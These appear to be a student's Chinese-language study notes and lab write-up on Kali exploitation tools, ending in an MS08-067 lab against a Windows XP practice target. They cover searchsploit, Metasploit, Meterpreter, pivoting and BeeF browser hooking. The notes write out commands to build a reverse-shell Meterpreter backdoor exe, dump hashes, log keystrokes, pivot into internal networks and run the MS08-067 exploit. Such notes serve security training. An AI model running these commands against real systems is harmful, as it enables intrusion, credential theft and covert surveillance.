视频学习
漏洞利用之检索利用
漏洞检索,在安全测试的过程中,在前期会涉及足够的信息,通过对前面漏洞分析和WEB程序分析会发现存在漏洞,对漏洞进行针对性的利用,就需要有一个检索性漏洞检索漏洞的能力。
searchsploit
通过searchsploit可以方便的借助关键词搜索到信息以及漏洞利用的exp
使用命令searchsploit wordpress
xia
会列出所有漏洞、对应的文件和文件地址,文件不能从根目录下cat,读不到。在相对目录中/usr/share/exploitdb/platforms/
,先进入到此目录中
没有找到platforms目录,注意由于是相对路径因此使用的命令为cat php/webapps/38820.php
而不是cat php/webapps/38820.php
漏洞利用之Metasploit基础
Metasploitable在渗透测试中经常被用到,这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。组合起来的框架十分强大。
启动服务
在Kali中使用metasploitable,需要先开启PostgreSQL数据库服务和metasploit服务
使用命令service postgresql start
成功运行
但使用命令service metasploit start
出现
然后使用命令 msfconsole
然后就可以完整的利用msf数据库查询exploit和记录
如果不想每次开机都手工启动服务,可以配置随系统启动。
命令为update-rc.d postgresql enable
update-rc.d metasploit enable
路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
Auxiliary:辅助模块,
encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
但显示命令不存在
因此百度后用此命令
exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。
基本命令
msfpayload:用来生成payload或者shellcode。
搜索的时候可以用msfpayload -l |grep "windows"这样的命令查询。-o 选项可以列出payload所需的参数。
msfencode:msf中的编码器,早期为了编码绕过AV,现常用msfpayload与它编码避免exploit中的坏字符串。
msfconsole:开启metasploit的concle。
测试实例
发现漏洞,搜索exploit
先打开msfconsole
对Windows XP进行扫描作为目标主机,首先获得其IP
然后进行扫描
Kali漏洞利用之Meterpreter介绍
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库组成,极大地丰富了攻击方式。其有很多有用的功能。
常用命令:
background:将当前会话放置后台
load/use:加载模块
Interact:切换一个信道
migrate:迁移进程
run:执行一个已有模块,输入run后按两下teb,会列出所有的已有脚本。
Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp
针对windows操作系统,反向连接shell,只用起来比较稳定。
生成Meterpreter后门
命令msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.75.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe
在指定目录,生成exe后门,如果不知道tcp的参数可打开msfconsole
生成一个后门就要打开一个监听,接收返回的连接,查看需要的参数。需要两个参数LHOST,LPORT。
更新的kali,现在已经没有msfpayload的命令了,换成msfvenom了。里面集成了msfpayload和msfencode
然后将door.1植到对方主机
用background
返回到msf里面
sysinfo
查看系统信息
hashdump
抓取哈希
抓取屏幕:screenshot
键盘记录:开始keyscan_strat
,结束keyscan_stop
扩展工具:load+tab键
Metasploit后渗透测试
在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助Msf已经得到的Meterpreter后门,可以使后续操作更容易。
1 查看当前网卡、网段信息:先控制一台跳板机,查看相关网卡网段信息
2 添加路由表 run autoroute -s 10.0.0.1
3 开Socks代理 通过使用 auxiliary/sever/socks4a
模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。(分享给外面程序)
4 通过Background和sessions -i
可以自由切换进入Session
5 输入run
可以看到Meterpreter上可以做的很多命令如:run checkvm
检测目标机器是否为一个虚拟机,run post
可以根据分类来使用
6 获取内网信息run arp_scanner -r 10.0.0.1/24
其中命令run arp_scanner -h
查看帮助信息
7 也可上传文件,做端口转发后续测试
8 应用程序/权限维持/Tunnel工具集
9 端口转发 upload lcx.exe c:
Kali漏洞利用之BeeF
对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。官网http://beefproject.com/
启动Beef beef-xss
命令行下启动Beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication
使用默认用户名beef与默认密码beef登录,看到主界面为:
测试
提供一个测试页面,假设被测试主机由于XSS漏洞请求到 http://192.168.11.152:3000/demos/basic.html
在主界面左端就可以看到一个在线主机
HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务:
其中,四种颜色分别表示:
该攻击模块可用,但隐蔽性强
该攻击模块可用,但隐蔽性差
该用户模块是否可用还有待验证
该攻击模块不可用
选取MISC下Raw JavaScript模块作为测试用例
代理Proxy功能
注意:为拿目标请求页面,并不是浏览器请求
传输成功后,点击相应的信息,即可显示详细的传输过程:
BeeF与Metasploit结合加载
使用metasploit丰富的攻击模块,需要做一些配置:
编辑config.yaml,使用命令nano config.yaml
修改IP地址
修改路径
打开msfconsole
此时使用命令service beef-xss restart
重启一下服务,重新访问beef页面
执行过程中遇到的问题
使用命令service metasploit start
出现
是由于在kali Linux 2016.2版本里这个命令已经过时,需要使用命令 msfconsole
教材学习
Windows操作系统的基本结构
Windows操作系统的基本结构
windows系统的内核基本模块包括如下 Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码。unix采用宏内核模式进行架构。
Windows操作系统内核的基本模块
内核的基本模块包括:Windows 执行体、Windows 内核体、设备驱动程序、硬件抽象层、Windows 窗口与图形界面接口内核实现代码
用户代码模块
用户代码模块包括:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL
Windows 下的核心机制
核心机制包括:Windows 进程和线程管理机制; Windows 内存管理机制;Windows 文件管理机制;Windows 注册表管理机制;Windows 的网络机制。
Windows 操作系统的安全架构和机制
windows操作系统基于引用监控器模型来实现基本的对象安全模型
Windows 的安全机制
**Windows 身份认证机制:**以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类。
**Windows授权与访问控制机制:**Windows对于系统中所有需保护的资源都抽象成对象
**Windows安全审计机制:**系统审计策略在本地安全策略中由系统管理员定义,来确定系统对那些事件进行记录。
**Windows的其他安全机制:**Windows系统安全稳定运行最为关键的三项安全措施包括防火墙、补丁自动更新以及病毒防护。
Windows 安全攻防技术
Windows 安全攻防技术包括:远程安全攻防技术和本地安全攻防技术。
Windows 远程攻击技术
Windows 远程攻击技术包括:远程口令猜测与破解攻击;攻击Windows网络服务;攻击Windows客户端及用户。
端口:远程桌面终端服务运行于TCP 3389端口;Windows 操作系统默认开放的135、137、138、139、445端口所提供的网络及本地服务是黑客攻击主要目标。
针对Windows 本地的攻击
针对Windows 本地的攻击包括:Windows 本地特权提升;Windows 敏感信息窃取;Windows 消踪灭迹(删除掩盖入侵痕迹); Windows 远程控制与后门程序(实现
对被入侵主机的持久控制)。
实验
实验要求
使用Metaspoit攻击MS08-067,提交正确得到远程Shell的截图
MS08-067漏洞介绍
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接
实验过程
攻击机为kali,IP为
靶机为Windows XP,IP为
在Kali中先启动PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录。
使用命令service postgresql start
和service metasploit start
但在使用第二个命令时出现问题
百度后发现直接使用命令msfconsole
查找是否存在ms08-067漏洞,使用命令search ms08_067
,看到返回相应信息
输入使用该漏洞攻击程序,命令为use exploit/windows/smb/ms08_067_netapi
查看配置渗透攻击所需的配置选项命令为show options
设置靶机和攻击机的地址命令为set RHOST 10.43.44.64
及set LHOST 192.168.1.102
设置metasploit下的有效攻击荷载,使用命令set payload
tab 键补齐
实施攻击了,执行命令exploit